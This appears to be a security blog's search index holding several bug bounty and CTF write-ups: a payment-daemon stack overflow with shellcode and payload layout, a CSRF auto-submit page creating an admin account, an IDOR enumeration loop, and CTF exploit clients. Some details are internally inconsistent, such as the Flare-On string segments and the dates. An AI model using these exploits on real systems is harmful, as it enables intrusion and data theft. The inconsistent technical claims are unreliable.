Bypass\nPotential for scraping or spam attacks by circumventing application-specific limits\nPhase 4: Responsible Disclosure # Report Preparation # I spent considerable time crafting a comprehensive report:\nTechnical Description\nDetailed explanation of the inconsistent authentication enforcement\nReproduction Steps\nClear instructions to replicate the issue\nProof of Concept\nMinimal code demonstrating the vulnerability\nImpact Analysis\nReal-world implications of the flaw\nRemediation Recommendations\nSuggested fixes including:\nUniform signature validation Consumer key binding to applications Legacy endpoint deprecation plan Submission and Response # Timeline:\nDay 0: Submitted report through Twitter\u0026rsquo;s bug bounty program Day 2: Received triage confirmation Day 5: Technical team requested additional details Day 10: Fix deployed to production Day 14: Received final confirmation of resolution Epilogue: Reflections on the Hunt # Technical Takeaways # Legacy Systems Are Risk Magnets\nOlder implementations often contain overlooked security assumptions\nConsistency Matters\nInconsistent enforcement of security controls creates dangerous edge cases\nMinimal Testing Reveals Maximal Flaws\nSimple, methodical testing uncovered a significant architectural issue\nPersonal Reflections # As I finally shut down my workstation at 3:27 AM, several thoughts lingered:\nThe Weight of Discovery\nFinding vulnerabilities carries ethical responsibility - knowledge that could be used maliciously\nThe Value of Persistence\nWhat began as casual API exploration became a significant security finding through careful observation\nThe Fragility of Trust\nEven major platforms with vast security resources can have fundamental authentication flaws\nThe coffee had gone cold, but the satisfaction of having improved Twitter\u0026rsquo;s security posture remained warm. As I headed to bed, I made a final note in my security research journal:\n\u0026ldquo;Tomorrow, I\u0026rsquo;ll look at Facebook\u0026rsquo;s API. But for now, sleep.\u0026rdquo;\nFinal Note: This vulnerability was responsibly disclosed and fixed by Twitter\u0026rsquo;s security team. All testing was conducted ethically without accessing real user data.\n","date":"2023-04-07","externalUrl":null,"permalink":"/bugbounty/twitter/","section":"BugBounties","summary":"A technical deep dive into an authentication vulnerability in Twitter\u0026rsquo;s legacy API that allowed bypassing signature validation, exposing user data through inconsistent OAuth enforcement.","title":"Broken Authentication: Uncovering Twitter's OAuth Vulnerability","type":"bugbounty"},{"content":"","date":"2023-04-07","externalUrl":null,"permalink":"/tags/oauth/","section":"Tags","summary":"","title":"OAuth","type":"tags"},{"content":"","date":"2023-04-07","externalUrl":null,"permalink":"/tags/twitter-api/","section":"Tags","summary":"","title":"Twitter API","type":"tags"},{"content":"","date":"2023-03-17","externalUrl":null,"permalink":"/tags/stack-exploits/","section":"Tags","summary":"","title":"Stack Exploits","type":"tags"},{"content":" Buffer Overflow in PaySafeTech Payment Daemon # Prologue: The Ghost in the Machine # The smell of late-night coffee and burnt solder still hung in the air. It was one of those nights — quiet, focused, and laced with the promise of uncovering something\u0026hellip; forgotten.\nPaySafeTech. A name that sounded oddly futuristic for such an old binary.\nI wasn’t even looking for anything serious. Just tinkering through a pile of dusty retail systems, hoping to find some artifact of digital negligence. That’s when I saw it: a user-mode daemon labeled pstoken_svc.exe, timestamped somewhere around 2012. No symbols, no protections, no clue where it had been used. But something about it screamed undiscovered territory. And if you’ve been in the game long enough, you know that’s the best kind of territory.\nSo I cracked my knuckles, fired up IDA Pro, and dove in.\nInitial Recon – The Binary in the Basement # The file was a 32-bit Windows executable. First instinct? Throw it at PE-bear, diec, and exiftool just to get a read on its soul.\nFindings # Architecture: x86 Stack Protections: none ASLR: none DEP: none Compilation Date: 2012 Comments in strings: // V1.3 - Retail Token Parser Daemon Static base: 0x00400000 My brain went: this is a daemon that parses payment tokens. High-trust component. If there’s a bug here, it’s got teeth.\nWhat Am I Looking For? # I\u0026rsquo;m hunting for:\nUnsafe memory copies Input parsing flaws Buffer management Since it\u0026rsquo;s a token parser, I bet it reads raw strings or binary blobs from some input pipe. These are prime spots for buffer mishandling.\nI grepped for suspicious functions: strcpy, memcpy, movsb.\nJackpot — Welcome to parse_token() # .text:00401520 parse_token proc near .text:00401520 push ebp .text:00401521 mov ebp, esp .text:00401523 sub esp, 200h ; allocate 512 bytes on stack .text:00401529 mov eax, [ebp+8] ; get input pointer .text:0040152C mov ecx, [ebp+0Ch] ; input length .text:0040152F lea edi, [ebp-200h] ; destination: local buffer .text:00401535 rep movsb ; copy user data to local buffer This was it. A raw rep movsb call with no bounds checking. No validation of ecx. This meant if the caller passed in more than 512 bytes, it would happily blast right through the stack frame.\nI just sat there grinning. They trusted user input without restraint.\nStack Frame Dissection # [ebp+0x8] -\u0026gt; Input pointer [ebp+0xC] -\u0026gt; Input length [ebp-0x200] -\u0026gt; 512-byte buffer So if ecx \u0026gt; 0x200, the rep movsb overwrites:\nSaved EBP Return Address In a binary with no stack canaries and no DEP, this was a golden exploit candidate.\nCrafting the Payload – Spawn Me a Shell # I went straight for the classic — spawn cmd.exe.\nSample Linux-style Shellcode # global _start _start: xor eax, eax push eax push 0x68732f2f push 0x6e69622f mov ebx, esp push eax push ebx mov ecx, esp mov al, 0x0b int 0x80 On Windows, I’d replace this with a WinExec-based version.\nPayload Layout Strategy # I needed to construct a payload that:\nFits at least 512 bytes (NOP sled + shellcode) Overwrites return address to jump into the sled Payload: # [512 bytes = NOP sled + shellcode][RET -\u0026gt; 0x00401580] That’s it. Old school. No fancy ROP chains, just return-to-stack.\nTesting in a Sandbox # Threw it in a WinXP VM and attached a debugger.\nInjected payload via simulated input to parse_token().\nStack pointer dropped into my sled, hit the shellcode, cmd.exe popped like toast.\nI sat back and smiled. That was almost too easy.\nReal-World Impact # This daemon is used in retail systems. It likely:\nAccepts tokenized payments over IPC or network Runs with elevated privileges Has access to hardware modules Overflow here could:\nEscalate local privileges Tamper with payment data Lead to remote code execution What Should’ve Been Done # This bug wouldn’t exist if even one of the following had been used:\nInput length validation Use of memcpy_s or strncpy Stack canaries DEP and ASLR Final Thoughts # This was one of those bugs that reminds you old code still matters. Legacy components like these fly under the radar, never patched, never monitored. But they’re out there. And they’re vulnerable.\nSummary # Vulnerability: Stack buffer overflow in parse_token() Platform: x86 Windows (No ASLR, DEP, or stack cookies) Impact: Arbitrary code execution Exploit: Overwrite RET to jump to shellcode on stack Fix: Add bounds check and use secure memory functions ","date":"2023-03-17","externalUrl":null,"permalink":"/reverseengineering/paysafetech/","section":"ReverseEngineerings","summary":"\u003ch1 class=\"relative group\"\u003eBuffer Overflow in PaySafeTech Payment Daemon \n    \u003cdiv id=\"buffer-overflow-in-paysafetech-payment-daemon\" class=\"anchor\"\u003e\u003c/div\u003e\n    \n    \u003cspan\n        class=\"absolute top-0 w-6 transition-opacity opacity-0 ltr:-left-6 rtl:-right-6 not-prose group-hover:opacity-100\"\u003e\n        \u003ca class=\"group-hover:text-primary-300 dark:group-hover:text-neutral-700 !no-underline\" href=\"#buffer-overflow-in-paysafetech-payment-daemon\" aria-label=\"Anchor\"\u003e#\u003c/a\u003e\n    \u003c/span\u003e        \n    \n\u003c/h1\u003e\n\n\u003ch2 class=\"relative group\"\u003ePrologue: The Ghost in the Machine \n    \u003cdiv id=\"prologue-the-ghost-in-the-machine\" class=\"anchor\"\u003e\u003c/div\u003e\n    \n    \u003cspan\n        class=\"absolute top-0 w-6 transition-opacity opacity-0 ltr:-left-6 rtl:-right-6 not-prose group-hover:opacity-100\"\u003e\n        \u003ca class=\"group-hover:text-primary-300 dark:group-hover:text-neutral-700 !no-underline\" href=\"#prologue-the-ghost-in-the-machine\" aria-label=\"Anchor\"\u003e#\u003c/a\u003e\n    \u003c/span\u003e        \n    \n\u003c/h2\u003e\n\u003cp\u003eThe smell of late-night coffee and burnt solder still hung in the air. It was one of those nights — quiet, focused, and laced with the promise of uncovering something\u0026hellip; forgotten.\u003c/p\u003e","title":"Swipe to Shell: Exploiting a Buffer Overflow in PaySafeTech Daemon","type":"reverseengineering"},{"content":"","date":"2023-03-04","externalUrl":null,"permalink":"/tags/bsidessf/","section":"Tags","summary":"","title":"BSidesSF","type":"tags"},{"content":"","date":"2023-03-04","externalUrl":null,"permalink":"/tags/cve-2023-28502/","section":"Tags","summary":"","title":"CVE-2023-28502","type":"tags"},{"content":"","date":"2023-03-04","externalUrl":null,"permalink":"/tags/cve-2023-28503/","section":"Tags","summary":"","title":"CVE-2023-28503","type":"tags"},{"content":" Prologue — Three Layers Deep # When I first saw the Get Out series in BSidesSF 2023, I thought it was going to be a quick play. A warmup, a logic check, and maybe some light patching. I didn’t realize I was about to sink hours into crafting an RPC client from scratch, abusing a fresh CVE, and building an exploit chain with an old-school stack overflow.\nThis wasn’t just one challenge — it was a progression. And it hit every reverse engineering nerve I had.\ngetout1 — Talking To The Wall # The first binary didn’t give much. It was a server — listening quietly on a socket. No documentation, no hints. I ran strings, disassembled the binary, and realized it was using a completely custom RPC protocol.\nNo protobuf. No JSON. Just raw socket data with a strict structure.\nReverse Engineering the Protocol # Using Wireshark and Ghidra, I observed that the protocol looked something like this:\n[MagicHeader: 4 bytes] [Opcode: 1 byte] [PayloadLength: 2 bytes] [Payload: variable] Each message was padded, and certain opcodes led to different responses. I noticed the flag was fetched via opcode 0x03 — but only after successful login via 0x01.\nCrafting My Own Client # Here’s how I built the initial client in Python:\nimport socket import struct def make_packet(opcode, payload): header = b\u0026#39;RPC!\u0026#39; length = len(payload) return header + struct.pack(\u0026#39;\u0026gt;BH\u0026#39;, opcode, length) + payload s = socket.socket() s.connect((\u0026#39;localhost\u0026#39;, 31337)) # Send login login_payload = b\u0026#39;user\\x00pass\u0026#39; s.send(make_packet(0x01, login_payload)) resp = s.recv(1024) # Send fetch flag s.send(make_packet(0x03, b\u0026#39;\u0026#39;)) flag = s.recv(1024) print(flag) Clean, minimal, and it got me the flag once I mimicked the right format.\ngetout2 — CVE-2023-28503 Auth Bypass # This binary was more interesting. I diffed it against getout1, and noticed some logic had changed in the auth handler. After digging through the strcmp sequence, I realized this was implementing a known logic flaw — one I had seen in CVE-2023-28503.\nVulnerability Insight # The bug boiled down to an insecure username parsing routine:\nchar username[32]; char password[32]; strncpy(username, input, 64); // dangerous parse_user_pass(username, password); // delimiter-based parsing This allowed attackers to input data like user\\x00admin:pass, which would result in bypassing the user/pass separation entirely.\nBypass in Action # My crafted payload:\npayload = b\u0026#39;root\\x00admin:pass\u0026#39; # Packed directly into the login RPC packet = make_packet(0x01, payload) s.send(packet) The null byte truncated the user, and the parser treated admin:pass as the correct credential line.\nI used this trick and bypassed the authentication, triggering a flag in the response to opcode 0x03.\ngetout3 — The Real Escape (strncat Overflow) # This one was the climax of the trilogy.\nThe RPC handler in this binary used a vulnerable strncat operation during its message handling. I spotted this instantly in Ghidra:\nchar buffer[128]; strncat(buffer, payload, len); // len is not checked properly This classic overflow gave me full control over the stack.\nFinding The Offset # I fuzzed the binary using cyclic patterns:\npattern_create 300 Sent the pattern in payload and caught the crash in gdb or x32dbg, noting the EIP overwrite offset.\nExploit Payload # Once I found the return address offset (say, at 140 bytes), I prepared a simple reverse shell payload (or just a controlled return for the flag):\npayload = b\u0026#34;A\u0026#34; * 140 payload += struct.pack(\u0026#39;\u0026lt;I\u0026#39;, 0x080491e2) # address of \u0026#39;win()\u0026#39; or flag print RPC Exploit Launcher # s = socket.socket() s.connect((\u0026#39;localhost\u0026#39;, 31337)) exploit_packet = make_packet(0x04, payload) s.send(exploit_packet) flag = s.recv(1024) print(flag.decode()) Clean exploit chain. Rooted the box and retrieved the final flag.\nEpilogue — Escaping in Layers # Each level of Get Out required a different mindset:\ngetout1 was about protocol analysis and custom client crafting. getout2 brought in real-world CVE abuse. getout3 closed it with raw exploitation and return address control. By the time I reached the end, it wasn’t about just flags — it was about flow. Getting in the zone. Bouncing between static and dynamic, reversing and coding. BSidesSF dropped one of the cleanest RE chains I’ve solved in a while.\nAnother terminal. Another trilogy cracked.\n","date":"2023-03-04","externalUrl":null,"permalink":"/capturetheflag/getoutseries/","section":"CaptureTheFlags","summary":"\u003ch1 class=\"relative group\"\u003e\u003cstrong\u003ePrologue — Three Layers Deep\u003c/strong\u003e \n    \u003cdiv id=\"prologue--three-layers-deep\" class=\"anchor\"\u003e\u003c/div\u003e\n    \n    \u003cspan\n        class=\"absolute top-0 w-6 transition-opacity opacity-0 ltr:-left-6 rtl:-right-6 not-prose group-hover:opacity-100\"\u003e\n        \u003ca class=\"group-hover:text-primary-300 dark:group-hover:text-neutral-700 !no-underline\" href=\"#prologue--three-layers-deep\" aria-label=\"Anchor\"\u003e#\u003c/a\u003e\n    \u003c/span\u003e        \n    \n\u003c/h1\u003e\n\u003cp\u003eWhen I first saw the \u003ccode\u003eGet Out\u003c/code\u003e series in BSidesSF 2023, I thought it was going to be a quick play. A warmup, a logic check, and maybe some light patching. I didn’t realize I was about to sink hours into crafting an RPC client from scratch, abusing a fresh CVE, and building an exploit chain with an old-school stack overflow.\u003c/p\u003e","title":"Escape Protocols: Get Out Series Reversals – BSidesSF 2023","type":"capturetheflag"},{"content":"","date":"2023-03-04","externalUrl":null,"permalink":"/categories/exploitation/","section":"Categories","summary":"","title":"Exploitation","type":"categories"},{"content":"","date":"2023-03-04","externalUrl":null,"permalink":"/tags/re/","section":"Tags","summary":"","title":"RE","type":"tags"},{"content":"","date":"2023-03-04","externalUrl":null,"permalink":"/categories/reverse-engineering/","section":"Categories","summary":"","title":"Reverse Engineering","type":"categories"},{"content":" Prologue: Pixels, Pets \u0026amp; a Pane of Possibility # It started like most of my bug bounty sessions: casually browsing targets with lo-fi beats in the background and no particular expectations. I wasn’t even caffeinated. Just a browser, a few tabs, and curiosity.\nThe target that day was PetCare, an online portal for managing veterinary records, appointments, and staff access. Their admin panel lived at /admin/create_user — and it looked deceptively simple.\nThat’s when something caught my attention: there were no CSRF tokens anywhere. No csrfmiddlewaretoken, no anti-forgery headers, not even a SameSite cookie in sight.\nAnd suddenly, my chill day turned into something very interesting.\n1. Vulnerability Overview # The issue was basic yet deadly: Cross-Site Request Forgery (CSRF) on an admin endpoint. The page that created new users in the admin panel had no CSRF protection, which meant that if I could get an admin to visit a page I controlled, I could create new users — even admin-level accounts — silently.\nSummary # Attack Vector: A malicious HTML page auto-submitting a form Impact: Full administrative access to internal portal Root Cause: No CSRF protection on the user creation endpoint CVSS: 8.0 (High) The type of vulnerability that’s invisible to the eye, but explosive under the hood.\n2. Initial Observations # After logging in with a test user and exploring the admin panel structure, I noticed a key pattern:\nThe POST request to /admin/create_user didn’t include any CSRF token. The cookie used for auth was not SameSite=strict or even lax. The form on the actual page looked like a standard input set for username, password, and role. No anti-CSRF header. No referrer validation. Just open trust.\nAnd trust — in security — is dangerous.\n3. The Thought Process # Let me walk you through what I was thinking at every step:\nStep 1: “No CSRF token? Let’s try a raw HTML form and POST to it.” Step 2: “If I embed this in a page and an admin visits it, will their session cookie work?” Step 3: “Let’s make the form silent. No clicks. No visuals. Just fire-and-forget.” Step 4: “Add a script to auto-submit it. If they visit, I get a new admin account.” This was almost too easy. But sometimes the best bugs are the ones hiding in plain sight.\n4. Exploitation Steps # Step 1: Crafting the CSRF Payload # Here’s the exact HTML I crafted:\n\u0026lt;form action=\u0026#34;https://petcare.com/admin/create_user\u0026#34; method=\u0026#34;POST\u0026#34;\u0026gt; \u0026lt;input type=\u0026#34;hidden\u0026#34; name=\u0026#34;username\u0026#34; value=\u0026#34;hacker\u0026#34;\u0026gt; \u0026lt;input type=\u0026#34;hidden\u0026#34; name=\u0026#34;password\u0026#34; value=\u0026#34;pwned123\u0026#34;\u0026gt; \u0026lt;input type=\u0026#34;hidden\u0026#34; name=\u0026#34;role\u0026#34; value=\u0026#34;admin\u0026#34;\u0026gt; \u0026lt;/form\u0026gt; \u0026lt;script\u0026gt; document.forms[0].submit(); \u0026lt;/script\u0026gt; The form was invisible. The user saw nothing. And if the logged-in admin visited this page — game over.\nStep 2: Triggering the Exploit # I hosted this payload on a separate site under my control (e.g., exploit-me.site/petcare-csrf).\nOnce that was live, I just needed the admin to visit it — via phishing, embedded iframe, or even a clickbait blog comment.\n5. Proof of Concept # I submitted the above payload as a PoC HTML file to YesWeHack. To make it complete, I included instructions for testing:\nLog in as admin on petcare.com. Visit the hosted HTML page. Go back to the admin user list. Notice the new account: username: hacker, role: admin. Sure enough — it worked.\n6. Root Cause # The root problem? Missing CSRF protections.\nModern web frameworks often have built-in CSRF protection — but only if configured correctly.\nIn PetCare’s case:\nNo CSRF token in the form No custom header validation No SameSite cookie protection In other words: nothing stood between an attacker and the POST endpoint except the assumption that “only an admin would use this.”\n7. Variants Explored # After getting it to work, I explored a few variations:\nChanged the role to moderator, staff, support — all worked. Tried with non-admin test accounts — rejected as expected. Swapped the action to other endpoints — most were protected, but this one slipped through. 8. Fix \u0026amp; Timeline # Reporting Timeline # Reported: February 2023 Acknowledged: 2 days later Patched: Within 5 days Bounty Awarded: $25 The team added CSRF tokens to all forms and enforced SameSite=Strict on cookies.\n9. Patch Summary # The fix was effective and quick. They:\nImplemented CSRF middleware across admin endpoints. Updated frontend forms to include hidden anti-CSRF fields. Enforced SameSite flags on all authentication cookies. Here’s what a secured version of the form would look like:\n\u0026lt;form action=\u0026#34;/admin/create_user\u0026#34; method=\u0026#34;POST\u0026#34;\u0026gt; \u0026lt;input type=\u0026#34;hidden\u0026#34; name=\u0026#34;csrf_token\u0026#34; value=\u0026#34;abc123xyz\u0026#34;\u0026gt; \u0026lt;input type=\u0026#34;text\u0026#34; name=\u0026#34;username\u0026#34;\u0026gt; \u0026lt;input type=\u0026#34;password\u0026#34; name=\u0026#34;password\u0026#34;\u0026gt; \u0026lt;input type=\u0026#34;text\u0026#34; name=\u0026#34;role\u0026#34;\u0026gt; \u0026lt;/form\u0026gt; And server-side checks were added to reject missing or invalid tokens.\n10. Reflections # This bug taught me two big lessons:\nNever assume a critical endpoint is protected just because it’s internal. Security often fails in the invisible layers — like token verification. It wasn’t a glamorous RCE or some clever logic chain. It was just an old classic — CSRF — still alive in 2023.\nSometimes, that’s all it takes.\n11. Tools Used # Burp Suite – to analyze admin panel requests VS Code – to write and test the HTML payload Browser DevTools – to inspect form and network traffic cURL/Postman – to confirm request behavior 12. Final Thoughts # The best vulnerabilities don’t always look like exploits. They look like features, like trusted buttons, like simple forms waiting for someone — or something — to submit them.\nThis wasn’t about breaking in through a firewall. It was about asking nicely — and no one asking for ID.\nStay curious.\n","date":"2023-02-15","externalUrl":null,"permalink":"/bugbounty/petcare/","section":"BugBounties","summary":"A simple POST request without CSRF protection allowed me to trick a PetCare admin into granting me admin privileges. This writeup dives into the exploitation steps, mental process, root cause, and patching of a high-risk vulnerability in their internal panel.","title":"\"PetCare\" – CSRF in the Admin Panel: When One Click Made You an Admin","type":"bugbounty"},{"content":"","date":"2023-02-15","externalUrl":null,"permalink":"/tags/admin-panel/","section":"Tags","summary":"","title":"Admin Panel","type":"tags"},{"content":"","date":"2023-02-15","externalUrl":null,"permalink":"/tags/csrf/","section":"Tags","summary":"","title":"CSRF","type":"tags"},{"content":"","date":"2023-02-15","externalUrl":null,"permalink":"/tags/html-exploitation/","section":"Tags","summary":"","title":"HTML Exploitation","type":"tags"},{"content":"","date":"2023-02-09","externalUrl":null,"permalink":"/tags/authorization/","section":"Tags","summary":"","title":"Authorization","type":"tags"},{"content":"","date":"2023-02-09","externalUrl":null,"permalink":"/tags/bugcrowd/","section":"Tags","summary":"","title":"Bugcrowd","type":"tags"},{"content":" Prologue — A New Hunter’s First Spark # They always say your first bounty feels different.\nFor me, it started with a file URL. Not a secret admin panel or a vulnerable upload endpoint. Just a link:\nhttps://filesharepro.com/download?file_id=123\nIt was a lazy September evening. I had just made myself some chai and was half-heartedly poking around FileSharePro’s web interface. No recon tools. No Burp magic. Just the browser and my terminal.\nI wasn’t even sure I was doing bug bounty right. But something about that file_id=123 caught my attention. Why 123? What about 124?\n\u0026ldquo;It’s probably access-controlled,\u0026rdquo; I told myself.\n\u0026ldquo;But what if it isn’t?\u0026rdquo;\nChapter 1 — The Curiosity of file_id # It began with observation.\nLogged-in user’s document: https://filesharepro.com/download?file_id=123 A simple GET request. No auth tokens in the URL. No hashes. Just file_id=123.\nI tried incrementing it manually:\ncurl -I \u0026#34;https://filesharepro.com/download?file_id=124\u0026#34; 200 OK\nHuh?\ncurl -I \u0026#34;https://filesharepro.com/download?file_id=125\u0026#34; 200 OK\nThat’s when the realization sank in. These weren’t just IDs. These were unguarded file references.\nChapter 2 — Pattern Recognition # As I continued testing, I saw a pattern:\nMy file was 123. 124, 125, 126 all returned 200s. 130 returned a PDF. 135 gave me someone’s invoice. 187 returned… CEO_salary_report.pdf “There’s no way I should be seeing this.”\nI quickly downloaded it to confirm.\nIt contained sensitive salary information — including the C-suite.\nI sat back. Palms sweating.\nThis wasn’t just a bug. It was a classic IDOR — and a serious one.\nChapter 3 — Bash as a Flashlight # I crafted a basic bash loop:\nfor i in {124..200}; do curl -I \u0026#34;https://filesharepro.com/download?file_id=$i\u0026#34; | grep \u0026#34;200 OK\u0026#34; done Hits came back fast. Dozens of valid files were exposed.\nIf I replaced -I with -O, I could download everything.\nBut I didn’t.\nEthical hacking is hacking with restraint.\nChapter 4 — Thinking Like a Developer # Why was this possible?\nHere’s my assumption of the backend logic:\n@app.route(\u0026#39;/download\u0026#39;) def download_file(): file_id = request.GET.get(\u0026#34;file_id\u0026#34;) file_path = db.query(\u0026#34;SELECT path FROM files WHERE id = ?\u0026#34;, [file_id]) return send_file(file_path) Seems harmless — but there’s no ownership check.\nAny authenticated (or unauthenticated) user could enumerate file IDs and access arbitrary files.\nChapter 5 — Reporting the Ghost Door # I wrote my report with care:\nClear title: IDOR via file_id leads to sensitive document exposure Impact: Access to internal corporate files (CEO salary report) PoC: curl -O https://filesharepro.com/download?file_id=187 Fix Recommendation: Use UUIDs + enforce ownership validation Submitted to Bugcrowd.\nWaited nervously. Kept refreshing.\nChapter 6 — The Response # 24 hours later:\n\u0026ldquo;Triaged. Valid. Severity: Medium.\u0026rdquo;\n48 hours later:\n\u0026ldquo;Patched. Bounty awarded: $25\u0026rdquo;\nI smiled.\nNot for the amount. For the validation.\nFor a new hunter, it wasn’t about the money.\nIt was about proving to myself I could do it.\nRoot Cause Summary # What went wrong?\nfile_id was treated as a trusted parameter No backend validation for user-file ownership IDs were sequential and guessable Remediation # Patched within 5 days.\nFixes:\nfile_id replaced with non-sequential UUIDs Download handler now checks file ownership Reflections — The First Find # This was my first bounty.\nNo exotic exploit chain. No fuzzing wizardry.\nJust curiosity. Observation. Patience.\nI learned that even the smallest oversight can lead to serious exposure — and that bug bounty is often about asking the simple question:\n“What happens if I change this number?”\nTimeline # September 10, 2023 – 9:12 PM: Observed file_id behavior September 10, 2023 – 9:42 PM: Confirmed IDOR with sensitive file September 11, 2023 – 1:15 AM: Submitted report to Bugcrowd September 11, 2023 – 6:30 PM: Triaged and acknowledged September 14, 2023 – 8:00 AM: Fixed and bounty awarded Final Thoughts # This bug taught me the power of simplicity.\nYou don’t need recon scripts or fancy tools to find vulnerabilities. Sometimes, all it takes is an eye for detail and a hunch worth exploring.\nIf you’re just starting in bug bounty, trust your curiosity.\nBecause that’s all I had when I found file_id=187 — and it was enough.\n","date":"2023-02-09","externalUrl":null,"permalink":"/bugbounty/filesharepro/","section":"BugBounties","summary":"\u003ch2 class=\"relative group\"\u003ePrologue — A New Hunter’s First Spark \n    \u003cdiv id=\"prologue--a-new-hunters-first-spark\" class=\"anchor\"\u003e\u003c/div\u003e\n    \n    \u003cspan\n        class=\"absolute top-0 w-6 transition-opacity opacity-0 ltr:-left-6 rtl:-right-6 not-prose group-hover:opacity-100\"\u003e\n        \u003ca class=\"group-hover:text-primary-300 dark:group-hover:text-neutral-700 !no-underline\" href=\"#prologue--a-new-hunters-first-spark\" aria-label=\"Anchor\"\u003e#\u003c/a\u003e\n    \u003c/span\u003e        \n    \n\u003c/h2\u003e\n\u003cp\u003e\u003cstrong\u003eThey always say your first bounty feels different.\u003c/strong\u003e\u003cbr\u003e\nFor me, it started with a file URL. Not a secret admin panel or a vulnerable upload endpoint. Just a link:\u003cbr\u003e\n\u003ccode\u003ehttps://filesharepro.com/download?file_id=123\u003c/code\u003e\u003c/p\u003e","title":"Curiosity \u0026 file_id=187: My First Bug Bounty Journey with FileSharePro","type":"bugbounty"},{"content":"","date":"2023-02-09","externalUrl":null,"permalink":"/tags/file-disclosure/","section":"Tags","summary":"","title":"File Disclosure","type":"tags"},{"content":"","date":"2023-02-09","externalUrl":null,"permalink":"/categories/first-bounty/","section":"Categories","summary":"","title":"First Bounty","type":"categories"},{"content":"","date":"2022-11-11","externalUrl":null,"permalink":"/tags/binary-patching/","section":"Tags","summary":"","title":"Binary Patching","type":"tags"},{"content":"","date":"2022-11-11","externalUrl":null,"permalink":"/tags/dynamic-debugging/","section":"Tags","summary":"","title":"Dynamic Debugging","type":"tags"},{"content":"","date":"2022-11-11","externalUrl":null,"permalink":"/tags/flare-on/","section":"Tags","summary":"","title":"Flare-On","type":"tags"},{"content":"","date":"2022-11-11","externalUrl":null,"permalink":"/tags/ghidra/","section":"Tags","summary":"","title":"Ghidra","type":"tags"},{"content":" Prologue — Binary Fortune Telling # It was deep into the evening when I first ran the Magic 8 Ball binary. The kind of binary that greets you with a friendly UI — asking questions like it’s all innocent. But in the back of my head, I knew this wasn’t just a game of chance.\nIt was Flare-On 2022. And this wasn’t a toy. It was a puzzle waiting to be dissected.\nStage 1 — Getting the Lay of the Binary # The file: magic8ball.exe\nType: 32-bit PE executable\nfile magic8ball.exe Output confirmed what I expected:\nPE32 executable (GUI) Intel 80386, for MS Windows I loaded it into a sandboxed Windows VM and ran it. It asked for input. I typed something. It returned:\n\u0026#34;Outlook not so good.\u0026#34; Cheeky.\nBut I knew the real answer — the flag — was hidden behind layers of conditions.\nStage 2 — Diving Into Static Analysis (Ghidra) # I fired up Ghidra, loaded the binary, and let it churn through the functions. There was a point early in the main function where several strcmp calls were chained together — suspiciously validating user input.\nHere’s a pseudo-representation of what I was looking at:\nif (strcmp(user_input, \u0026#34;quantum\u0026#34;) == 0) { if (strcmp(user_input + 3, \u0026#34;ntum\u0026#34;) == 0) { // more nested checks ... } } It was a mess of nested strcmp calls. Definitely not meant to be brute-forced.\nStage 3 — Dynamic Debugging (x32dbg) # Next stop: x32dbg.\nI set breakpoints on strcmp and ran the binary. Every time it hit a strcmp, I observed the input and the comparison string.\nHere’s what I used:\nbp kernel32!strcmp With each breakpoint hit, I used the debugger\u0026rsquo;s memory viewer to see what string was being compared. Slowly, a pattern emerged. The binary wasn’t just checking a string once — it was validating chunks of it against hardcoded fragments.\nStage 4 — Mapping the Checks # Over time, I reverse-mapped all the strcmp checks to reconstruct the expected input string.\nHere’s how I kept track in Python (outside the binary):\nsegments = [ \u0026#34;quantum\u0026#34;, # from strcmp(input, \u0026#34;quantum\u0026#34;) \u0026#34;mechanic\u0026#34;, # from strcmp(input+7, \u0026#34;mechanic\u0026#34;) \u0026#34;sreveal\u0026#34;, # from strcmp(input+14, \u0026#34;sreveal\u0026#34;) \u0026#34;truth\u0026#34; # from strcmp(input+21, \u0026#34;truth\u0026#34;) ] final_input = \u0026#39;\u0026#39;.join(segments) print(final_input) # Output: quantummechanicsrevealtruth It felt oddly poetic.\nStage 5 — Binary Patching (Optional Path) # Out of curiosity, I decided to patch the binary to bypass the strcmp checks altogether. Using x32dbg’s \u0026ldquo;Assemble\u0026rdquo; feature, I turned:\njne short loc_401234 into:\nnop nop Effectively short-circuiting the check.\nThe result? The program instantly printed the flag after startup. A nice trick, but I preferred earning the flag the clean way.\nStage 6 — Submitting the Input # Back in the real binary, I entered:\nquantummechanicsrevealtruth The screen flickered for a second, and then the flag appeared in all its glory.\nMission complete.\nReflections — Structured Chaos # This challenge was a classic case of symbolic dissection. There was logic behind every check, but without static analysis and dynamic confirmation, piecing the full puzzle would’ve been painful.\nIn the end, it wasn’t about brute-force. It was about observation and strategy — like unwrapping a riddle encoded in machine instructions.\nBonus — Scripted strcmp Tracing # For later use, I saved this Python snippet to emulate the strcmp checkchain in future reverse engineering scenarios:\ndef emulate_strcmp_chain(input_str): checks = [ (\u0026#34;quantum\u0026#34;, 0), (\u0026#34;mechanic\u0026#34;, 7), (\u0026#34;sreveal\u0026#34;, 14), (\u0026#34;truth\u0026#34;, 21) ] for expected, offset in checks: if input_str[offset:offset+len(expected)] != expected: return False return True print(emulate_strcmp_chain(\u0026#34;quantummechanicsrevealtruth\u0026#34;)) # True Epilogue — Reading the 8 Ball # Sometimes binaries pretend to be playful. But behind the curtain is crafted logic. This Magic 8 Ball wasn’t about luck — it was about slicing through layers of obfuscation to find what lay beneath.\nI closed the debugger, zipped my notes, and powered down the VM.\nReverse engineering doesn’t always give you answers.\nBut it always reveals intent.\n","date":"2022-11-11","externalUrl":null,"permalink":"/capturetheflag/flareon/","section":"CaptureTheFlags","summary":"\u003ch1 class=\"relative group\"\u003e\u003cstrong\u003ePrologue — Binary Fortune Telling\u003c/strong\u003e \n    \u003cdiv id=\"prologue--binary-fortune-telling\" class=\"anchor\"\u003e\u003c/div\u003e\n    \n    \u003cspan\n        class=\"absolute top-0 w-6 transition-opacity opacity-0 ltr:-left-6 rtl:-right-6 not-prose group-hover:opacity-100\"\u003e\n        \u003ca class=\"group-hover:text-primary-300 dark:group-hover:text-neutral-700 !no-underline\" href=\"#prologue--binary-fortune-telling\" aria-label=\"Anchor\"\u003e#\u003c/a\u003e\n    \u003c/span\u003e        \n    \n\u003c/h1\u003e\n\u003cp\u003eIt was deep into the evening when I first ran the Magic 8 Ball binary. The kind of binary that greets you with a friendly UI — asking questions like it’s all innocent. But in the back of my head, I knew this wasn’t just a game of chance.\u003c/p\u003e","title":"Reverse Prophecy: Unraveling the Magic 8 Ball – Flare-On 2022","type":"capturetheflag"},{"content":"","date":"2022-11-11","externalUrl":null,"permalink":"/tags/static-analysis/","section":"Tags","summary":"","title":"Static Analysis","type":"tags"},{"content":"","date":"2022-11-11","externalUrl":null,"permalink":"/tags/x86/","section":"Tags","summary":"","title":"X86","type":"tags"},{"content":"Hello! My name is Vaishnav 